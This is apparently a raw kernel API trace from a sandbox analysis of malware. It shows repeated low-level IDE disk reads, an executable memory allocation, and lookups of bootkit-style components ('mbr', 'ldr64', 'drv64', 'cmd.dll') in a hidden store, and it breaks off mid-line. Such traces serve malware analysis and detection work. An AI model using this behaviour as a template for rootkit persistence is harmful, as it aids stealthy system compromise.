[0095.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.926] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.926] IdePortDispatch () returned 0x103 [0095.926] KeWaitForMutexObject () returned 0x0 [0095.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.926] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.926] IdePortDispatch () returned 0x103 [0095.926] KeWaitForMutexObject () returned 0x0 [0095.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.926] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.926] IdePortDispatch () returned 0x103 [0095.926] KeWaitForMutexObject () returned 0x0 [0095.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.927] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.927] IdePortDispatch () returned 0x103 [0095.927] KeWaitForMutexObject () returned 0x0 [0095.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.927] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.927] IdePortDispatch () returned 0x103 [0095.927] KeWaitForMutexObject () returned 0x0 [0095.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.927] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.927] IdePortDispatch () returned 0x103 [0095.927] KeWaitForMutexObject () returned 0x0 [0095.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.927] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.927] IdePortDispatch () returned 0x103 [0095.928] KeWaitForMutexObject () returned 0x0 [0095.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.928] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.928] IdePortDispatch () returned 0x103 [0095.928] KeWaitForMutexObject () returned 0x0 [0095.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.928] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.928] IdePortDispatch () returned 0x103 [0095.928] KeWaitForMutexObject () returned 0x0 [0095.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.928] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.928] IdePortDispatch () returned 0x103 [0095.928] KeWaitForMutexObject () returned 0x0 [0095.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.929] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.929] IdePortDispatch () returned 0x103 [0095.929] KeWaitForMutexObject () returned 0x0 [0095.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.929] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.929] IdePortDispatch () returned 0x103 [0095.929] KeWaitForMutexObject () returned 0x0 [0095.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.929] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.929] IdePortDispatch () returned 0x103 [0095.929] KeWaitForMutexObject () returned 0x0 [0095.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.929] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.929] IdePortDispatch () returned 0x103 [0095.930] KeWaitForMutexObject () returned 0x0 [0095.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.930] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.930] IdePortDispatch () returned 0x103 [0095.930] KeWaitForMutexObject () returned 0x0 [0095.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.930] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.930] IdePortDispatch () returned 0x103 [0095.930] KeWaitForMutexObject () returned 0x0 [0095.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.930] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.930] IdePortDispatch () returned 0x103 [0095.930] KeWaitForMutexObject () returned 0x0 [0095.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.931] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.931] IdePortDispatch () returned 0x103 [0095.931] KeWaitForMutexObject () returned 0x0 [0095.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.931] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.931] IdePortDispatch () returned 0x103 [0095.931] KeWaitForMutexObject () returned 0x0 [0095.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.934] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.934] IdePortDispatch () returned 0x103 [0095.934] KeWaitForMutexObject () returned 0x0 [0095.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.934] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0095.934] IdePortDispatch () returned 0x103 [0095.934] KeWaitForMutexObject () returned 0x0 [0095.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.935] KeLeaveCriticalRegion () [0095.935] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0095.935] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f0, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x20000) returned 0x0 [0095.935] _snprintf (in: _Dest=0xfffff88002f9d3d0, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0095.935] KeEnterCriticalRegion () [0095.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0095.935] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff880034d1000 [0095.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.935] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.935] IdePortDispatch () returned 0x103 [0095.935] KeWaitForMutexObject () returned 0x0 [0095.935] _strnicmp (_Str1="cfg.ini", _Str="cmd.dll", _MaxCount=0x10) returned -7 [0095.935] _strnicmp (_Str1="mbr", _Str="cmd.dll", _MaxCount=0x10) returned 10 [0095.935] _strnicmp (_Str1="ldr16", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.935] _strnicmp (_Str1="ldr32", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.935] _strnicmp (_Str1="ldr64", _Str="cmd.dll", _MaxCount=0x10) returned 9 [0095.935] _strnicmp (_Str1="drv32", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0095.935] _strnicmp (_Str1="drv64", _Str="cmd.dll", _MaxCount=0x10) returned 1 [0095.936] _strnicmp (_Str1="cmd.dll", _Str="cmd.dll", _MaxCount=0x10) returned 0 [0095.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.936] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.936] IdePortDispatch () returned 0x103 [0095.936] KeWaitForMutexObject () returned 0x0 [0095.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.936] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.936] IdePortDispatch () returned 0x103 [0095.936] KeWaitForMutexObject () returned 0x0 [0095.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.936] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.936] IdePortDispatch () returned 0x103 [0095.936] KeWaitForMutexObject () returned 0x0 [0095.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.936] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.936] IdePortDispatch () returned 0x103 [0095.937] KeWaitForMutexObject () returned 0x0 [0095.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.937] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.937] IdePortDispatch () returned 0x103 [0095.937] KeWaitForMutexObject () returned 0x0 [0095.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.937] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.937] IdePortDispatch () returned 0x103 [0095.937] KeWaitForMutexObject () returned 0x0 [0095.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.937] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.937] IdePortDispatch () returned 0x103 [0095.938] KeWaitForMutexObject () returned 0x0 [0095.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.938] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.938] IdePortDispatch () returned 0x103 [0095.939] KeWaitForMutexObject () returned 0x0 [0095.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.939] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.939] IdePortDispatch () returned 0x103 [0095.939] KeWaitForMutexObject () returned 0x0 [0095.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.939] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.939] IdePortDispatch () returned 0x103 [0095.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.939] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.939] IdePortDispatch () returned 0x103 [0095.939] KeWaitForMutexObject () returned 0x0 [0095.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.940] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.940] IdePortDispatch () returned 0x103 [0095.940] KeWaitForMutexObject () returned 0x0 [0095.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.940] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.940] IdePortDispatch () returned 0x103 [0095.940] KeWaitForMutexObject () returned 0x0 [0095.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.940] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.940] IdePortDispatch () returned 0x103 [0095.940] KeWaitForMutexObject () returned 0x0 [0095.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.940] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.940] IdePortDispatch () returned 0x103 [0095.941] KeWaitForMutexObject () returned 0x0 [0095.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa8003239bb0 [0095.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0095.941] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0095.941] IdePortDispatch () returned 0x103 [0095.941] KeWaitForMutexObject () returned 0x0 [0095.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0095.941] IoAllocateMdl (in: 